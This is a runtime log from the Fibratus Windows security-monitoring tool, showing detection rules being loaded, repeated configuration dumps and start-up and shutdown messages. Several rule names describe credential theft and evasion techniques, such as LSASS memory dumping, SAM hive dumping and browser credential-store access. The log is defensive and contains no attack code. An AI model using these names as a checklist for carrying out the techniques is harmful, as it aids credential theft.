C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-13T23:21:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-13T23:21:42+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-13T23:21:42+01:00 level=info msg=bootstrapping with pid 4948. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-13T23:21:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] port=>25 content-type=>text/html enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-threadpool=>false enable-fileio=>true enable-thread=>true min-buffers=>16 enable-audit-api=>true enable-net=>true flush-interval=>1s enable-vamap=>true enable-registry=>true enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-mem=>false enable-image=>true enable-handle=>false stack-enrichment=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 formatter=>text log-stdout=>true level=>info] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] amqp=>[ url=>amqp://localhost:5672 timeout=>5s enabled=>false passive=>false routing-key=>fibratus delivery-mode=>transient vhost=>/ durable=>false tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ gzip-compression=>false healthcheck-interval=>10s flush-period=>1s timeout=>5s enabled=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false sniff=>false index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true bulk-workers=>1] http=>[ method=>POST timeout=>5s enabled=>false enable-gzip=>false serializer=>json endpoints=>[] tls-insecure-skip-verify=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false scan-timeout=>10s skip-allocs=>false fastscan=>true excluded-procs=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-13T23:21:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-13T23:21:50+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-13T23:21:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-13T23:21:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-13T23:21:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:20:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:20:04+01:00 level=info msg=bootstrapping with pid 12012. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:20:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 use-template=>true enabled=>false to=>[] content-type=>text/html] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ flush-interval=>1s stack-enrichment=>true enable-mem=>false enable-dns=>false min-buffers=>16 enable-thread=>true buffer-size=>512 enable-fileio=>true enable-audit-api=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-handle=>false enable-threadpool=>false enable-image=>true enable-registry=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 level=>info max-backups=>15 max-age=>0 log-stdout=>true] + output ......................... [ amqp=>[ exchange=>fibratus timeout=>5s exchange-type=>topic tls-insecure-skip-verify=>false enabled=>false durable=>false passive=>false url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/ routing-key=>fibratus] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ trace-log=>false sniff=>false healthcheck-interval=>10s enabled=>false healthcheck-timeout=>5s gzip-compression=>false servers=>[http://127.0.0.1:9200] timeout=>5s bulk-workers=>1 flush-period=>1s template-name=>fibratus healthcheck=>true index-name=>fibratus] http=>[ method=>POST enable-gzip=>false serializer=>json timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false excluded-files=>[] skip-mmaps=>false scan-timeout=>10s skip-files=>false skip-allocs=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:20:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:20:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:22:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:22:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:22:45+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:23:26+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:23:26+01:00 level=info msg=bootstrapping with pid 18776. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:23:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html use-template=>true to=>[] port=>25] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>false max-buffers=>36 enable-vamap=>true flush-interval=>1s buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-handle=>false enable-threadpool=>false enable-registry=>true enable-audit-api=>true enable-fileio=>true enable-image=>true enable-thread=>true stack-enrichment=>true min-buffers=>16 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 max-backups=>15 max-age=>0 log-stdout=>true] + output ......................... [ amqp=>[ routing-key=>fibratus url=>amqp://localhost:5672 passive=>false enabled=>false vhost=>/ durable=>false exchange=>fibratus timeout=>5s tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic] eventlog=>[ level=>info enabled=>false] http=>[ enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s method=>POST serializer=>json] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ timeout=>5s servers=>[http://127.0.0.1:9200] index-name=>fibratus template-name=>fibratus healthcheck-interval=>10s enabled=>false healthcheck-timeout=>5s trace-log=>false flush-period=>1s gzip-compression=>false sniff=>false healthcheck=>true bulk-workers=>1]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-files=>[] skip-mmaps=>false skip-registry=>false skip-files=>false fastscan=>true skip-allocs=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:23:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:23:37+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:27:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:27:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:27:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:28:20+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:28:20+01:00 level=info msg=bootstrapping with pid 10888. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:28:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-dns=>false enable-vamap=>true enable-image=>true enable-thread=>true max-buffers=>36 enable-net=>true enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-audit-api=>true enable-handle=>false enable-registry=>true min-buffers=>16 flush-interval=>1s buffer-size=>512 stack-enrichment=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 log-stdout=>true formatter=>text level=>info] + output ......................... [ http=>[ enable-gzip=>false method=>POST tls-insecure-skip-verify=>false serializer=>json endpoints=>[] timeout=>5s enabled=>false] elasticsearch=>[ healthcheck=>true gzip-compression=>false healthcheck-timeout=>5s enabled=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 template-name=>fibratus healthcheck-interval=>10s timeout=>5s trace-log=>false sniff=>false index-name=>fibratus flush-period=>1s] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false durable=>false timeout=>5s enabled=>false vhost=>/ exchange=>fibratus passive=>false url=>amqp://localhost:5672 delivery-mode=>transient routing-key=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ scan-timeout=>10s skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-files=>false skip-registry=>false excluded-files=>[] enabled=>false excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:28:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:28:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:28:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:28:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:40:40+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:40:40+01:00 level=info msg=bootstrapping with pid 18296. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:40:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false to=>[] content-type=>text/html port=>25 use-template=>true] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-net=>true flush-interval=>1s max-buffers=>36 enable-image=>true enable-vamap=>true stack-enrichment=>true enable-registry=>true enable-mem=>false enable-fileio=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 